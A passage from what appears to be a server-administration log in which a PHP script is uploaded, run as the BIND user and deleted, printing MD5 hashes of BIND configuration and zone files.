MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:45:45: Establishing a connection
2026-04-23 14:45:45: 

PUT: /tmp/pkp787622

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:45:45: 

runuser -l bind -s /bin/bash -c '/tmp/pkp787622; rm /tmp/pkp787622'

2026-04-23 14:45:45: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:46:25: Establishing a connection
2026-04-23 14:46:25: 

PUT: /tmp/pkp377200

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:46:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp377200; rm /tmp/pkp377200'

2026-04-23 14:46:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
